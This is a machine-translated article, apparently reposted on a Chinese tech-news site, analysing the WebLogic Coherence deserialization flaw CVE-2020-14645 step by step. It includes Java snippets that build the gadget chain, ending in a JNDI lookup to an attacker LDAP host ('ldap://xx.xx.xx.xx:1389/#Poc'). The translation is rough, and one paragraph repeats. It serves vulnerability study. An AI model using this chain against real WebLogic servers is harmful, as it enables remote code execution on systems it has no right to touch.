In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article will explain in detail how the vulnerability analysis of WebLogic coherence UniversalExtractor deserialization is, and the content of the article is of high quality, so the editor will share it with you for reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.
Preface
The security update released by Oracle in July includes a Weblogic deserialization RCE vulnerability numbered CVE-2020-14645.
The vulnerability is bypassed by the patch for CVE-2020-2883, which blacklists MvelExtractor and ReflectionExtractor in the CVE-2020-2883 patch, so you need to find another class that exists extract and malicious operation in the method. The class used here is com.tangosol.util.extractor.UniversalExtractor, which exists in the Coherence component.
CVE-2020-2883
Let's first review the two poc call chains of CVE-2020-2883.
/ / poc1 javax.management.BadAttributeValueExpException.readObject () com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString () java.util.concurrent.ConcurrentSkipListMap$SubMap.size () java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd () java.util.concurrent.ConcurrentSkipListMap.cpr () com.tangosol.util.comparator.ExtractorComparator.compare () com.tangosol.util.extractor.ChainedExtractor.extract () com.tangosol.util.extractor.ReflectionExtractor ( Extract () Method.invoke () / /. Com.tangosol.util.extractor.ReflectionExtractor (). Extract () Method.invoke () Runtime.exec () / / poc2java.util.PriorityQueue.readObject () java.util.PriorityQueue.heapify () java.util.PriorityQueue.siftDown () java.util.PriorityQueue.siftDownUsingComparator () com.tangosol.util.extractor.AbstractExtractor.compare () com.tangosol.util.extractor.MultiExtractor.extract () com.tangosol.util.extractor.ChainedExtractor .extract () / /. Method.invoke () / / Runtime.exec ()
In essence, any method is called through ReflectionExtractor to call the exec method of the Runtime object to execute arbitrary commands, but now that the patch has blacklisted ReflectionExtractor, you can only use UniversalExtractor to reconstruct a utilization chain, which is constructed using the entry of poc2, that is, the entry of the CommonsCollections4 chain.
CVE-2020-14645
In order to facilitate some pure cute newcomers to understand, here we will analyze the deserialization chain (verbose pattern warning) starting from 0, and interspersed with some points to pay attention to when constructing poc, first take a look at the call stack.
To follow up and analyze the entire utilization chain from scratch, let's take a look at the PriorityQueue.readObject () method.
792 executes a for loop, assigns the s.readObject () method to an array of queue objects, and follows the heapify () method.
Here, we will take half of the queue array to execute siftDown (I, (E) queue [I]);, in essence, PriorityQueue is a minimum heap, and here we sort it through the siftDown () method to achieve stacking, then follow up the siftDown () method.
Here's a decision for comparator, let's not consider what the value of comparator is for the time being, and then we'll use it, let's follow up the siftDownUsingComparator () method first.
Focus on the comparator.compare () method, so let's take a look at where comparator comes from.
Is assigned in the constructor of PriorityQueue, and as you can see here, the array of queue objects is also initialized here. So combined with the points analyzed above, we need to construct an array of queue objects of length 2 to trigger sorting and enter the siftDown () method. At the same time, choose a comparator, ExtractorComparator here. Continue to follow the ExtractorComparator.compare () method.
The this.m_extractor.extract () method will be called here, so let's see where the this.m_extractor comes from.
As you can see, the value of this.m_extractor is related to the incoming extractor. Here, you need to construct this.m_extractor as ChainedExtractor before you can call the extract () method of ChainedExtractor to concatenate extract () calls. Therefore, you first need to construct a PriorityQueue object like this:
PriorityQueue queue = new PriorityQueue (2, new ExtractorComparator (chainedExtractor)); / / here chainedExtractor is the ChainedExtractor object. The specific construction of the chainedExtractor object will be described later.
Continuing to follow the ChainedExtractor.extract () method, you can see that the aExtractor array is traversed and its extract () method is called.
As you can see, the value of this.m_extractor is related to the incoming extractor. Here, you need to construct this.m_extractor as ChainedExtractor before you can call the extract () method of ChainedExtractor to concatenate extract () calls. Therefore, you first need to construct a PriorityQueue object like this:
PriorityQueue queue = new PriorityQueue (2, new ExtractorComparator (chainedExtractor)); / / here chainedExtractor is the ChainedExtractor object. The specific construction of the chainedExtractor object will be described later.
Continuing to follow the ChainedExtractor.extract () method, you can see that the aExtractor array is traversed and its extract () method is called.
Here the aExtractor array gets the value of the m_aExtractor attribute of the parent class through the getExtractors () method of the parent class AbstractCompositeExtractor of ChainedExtractor.
Therefore, the m_aExtractor needs to be constructed in poc as follows:
Class clazz = ChainedExtractor.class.getSuperclass (); Field m_aExtractor = clazz.getDeclaredField ("m_aExtractor"); m_aExtractor.setAccessible (true)
How the specific value of m_aExtractor needs to be constructed, we need to continue to analyze. Let's go back to the UniversalExtractor we're going to take advantage of and follow up on its extract () method.
Here, because m_cacheTarget is decorated with transient, it cannot be deserialized, so you can only execute the else section to follow up on the extractComplex () method.
Here we see that there is the method.invoke () method at the end, and we can control both oTarget and aoParam, so we need to look at the processing of method and follow up the findMethod method.
You can see that line 477 can get any method, but to enter the if statement, you must first make fExactMatch true,fStatic and false. You can see that fStatic is controllable, while fExactMatch defaults to true. As long as you don't enter the for loop, you can keep the true unchanged, so that cParams is empty, that is, the aclzParam is an empty Class array, where aclzParam is obtained from the getClassArray () method.
Obviously, just pass in an empty Object []. Going back to the extractComplex () method, we can call any method of any class as long as we enter the else statement on line 192. But at this point, you also need to follow the isPropertyExtractor () method when the value of fProperty is false.
Unfortunately, m_fMethod is still modified by transient to trace the assignment process of m_fMethod.
As you can see, because of the this object, the getValueExtractorCanonicalName () method always returns null, so follow up with the computeValuExtractorCanonicalName () method.
It is not difficult to understand here that if aoParam is not null and the array length is greater than 0, null will be returned, so the method we call must be parameterless (because aoParam must be null). Then if the method name sName does not end with (), the method name is returned directly. Otherwise, it will determine whether the method name begins with the prefix in the VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES array, and if so, it will be truncated and returned.
Going back to the extractComplex method, the first letter of the returned method name is capitalized in the if condition, and then the prefixes in the BEAN_ACCESSOR_PREFIXES array are concatenated to determine whether the concatenated method is included in the clzTarget class. It turns out that in any case, we can only call the methods that start with get and is in any class, and they have no parameters.
Sort out the ideas we can use:
Call the init () method to assign a value to this.method, so that the value of fProperty is false, thus entering the else branch statement to call any method of any class. However, this idea is terminated immediately, because we can't call methods that don't start with get and is at all!
M_cacheTarget modified by transient is assigned in the extractComplex method
In the ExtractorComparator.compare () method, we know that the extract method can be executed twice, so on the second execution, we can call the targetPrev.getMethod () .invoke (oTarget, this.m_aoParam) method in the UniversalExtractor.extract method. But this method doesn't work either, because getMethod () gets the method in the red box on the picture, and it's clear that method is still restricted, and findMethod returns null when we call methods that don't start with get and is.
We can only follow the route where the method is restricted, and look for the no-parameter methods that start with get and is in all classes and are available
Partners of get and is who have reproduced Fastjson deserialization vulnerabilities should be aware that Fastjson's utilization chain search is mainly aimed at get and set methods, which coincides with our needs, and it is not difficult to think of JdbcRowSetImpl's JNDI injection. Let's review it next.
The lookup method is called in its connect method, and the DataSourceName is controllable, so there is a JNDI injection vulnerability to see where the connect method is called.
There are three methods that call the connect method, namely the prepare, getDatabaseMetaData, and setAutoCommit methods, and analyze them one by one.
Prepare ()
The connect method is called at the beginning, continuing to trace where the prepare method was called.
The execute method, which should be used to execute sql queries
This should be the method used to get parameter metadata, and the prepare () method should be used in some operation methods related to sql statements.
GetDatabaseMetaData ()
SetAutoCommit ()
The this.conn must be left empty, and the object initialization defaults to null, so go directly to the else statement. This.conn is actually the connect method, which is used to maintain the database connection state.
Going back to the connect method, we need to enter the else statement to execute the lookup method. There are two prerequisites, this.conn is empty, that is, the connect method is executed for the first time. The second condition is that you must set the value of DataSourceName, follow this parameter, and find that the private property, which is the parent class BaseRowSet, can be deserialized.
So, for the deserialization utilization chain of WebLogic, all we have to do is use the getDatabaseMetaData () method, and then look at how to construct poc step by step. First, the backtracking construction is injected from JdbcRowSetImpl's JNDI:
JdbcRoSetImpl jdbcRowSet = (JdbcRowSetImpl) JdbcRowSetImpl.class.newInstance (); Method setDataSource_Method = jdbcRowSet.getClass (). GetMethod ("setDataSourceName", String.class); setDataSource_Method.invoke (jdbcRowSet, "ldap://xx.xx.xx.xx:1389/#Poc") / / the Reflections module of ysoserial is constructed by itself. Since you need to obtain queue [I] for compare, you need to assign Object [] queueArray = (Object []) ((Object []) Reflections.getFieldValue (queue, "queue")) to the array; queueArray [0] = jdbcRowSet;queueArray [1] = jdbcRowSet
Then construct the UniversalExtract object, which is used to call the method of the JdbcRowSetImpl object
UniversalExtractor universalExtractor = new UniversalExtractor (); Object object = new Object [] {}; Reflections.setFieldValue (universalExtractor, "m_aoParam", object); Reflections.setFieldValue (universalExtractor, "m_sName", "DatabaseMetaData"); Reflections.setFieldValue (universalExtractor, "m_fMethod", false)
Then load the UniversalExtract object into the chainedExtractor object constructed at the beginning of the article
ValueExtractor [] valueExtractor_list = new ValueExtractor [] {universalExtractor}; field.set (chainedExtractor,valueExtractor_list2); / / field is m_aExtractor
Here, there is also a small point to note that a PriorityQueue object constructed at the beginning of the article needs to construct a temporary Extractor object for the comparator at creation time, taking ReflectionExtractor as an example. Second, the PriorityQueue object needs to execute the add method twice.
ReflectionExtractor reflectionExtractor = new ReflectionExtractor ("toString", new Object [] {}); ChainedExtractor chainedExtractor = new ChainedExtractor (new ValueExtractor [] {reflectionExtractor}); PriorityQueue queue = new PriorityQueue (2, new ExtractorComparator (chainedExtractor)); queue.add ("1"); queue.add ("1")
Go back to the readObject method of the PriorityQueue object
First of all, you need to be able to enter the for loop, and the for loop must have the value of size. The size value defaults to 0MagnePrivate attribute, which can be set directly through reflection, but you don't want to do it through reflection.
The assignment is obtained at the offer method, and the offer method is called by the add method. Note that the siftUp method is executed here, which triggers the compare method of comparator, which executes the extract method.
It is not difficult to understand that each add, size plus 1, according to the above heapify method, only half of the queue array will be taken from the beginning to execute the siftDown method. So the size is at least 2, and you need to execute the add method twice instead of add (2) once.
At this point, the main body of poc is constructed, and the rest is not described here. Of course, there are many ways of construction. Here, in order to facilitate innovation, the analysis is more verbose, and the poc is also more messy. You can construct your own poc.
This is the end of the vulnerability analysis on WebLogic coherence UniversalExtractor deserialization. I hope the above content can be helpful to you and learn more. If you think the article is good, you can share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.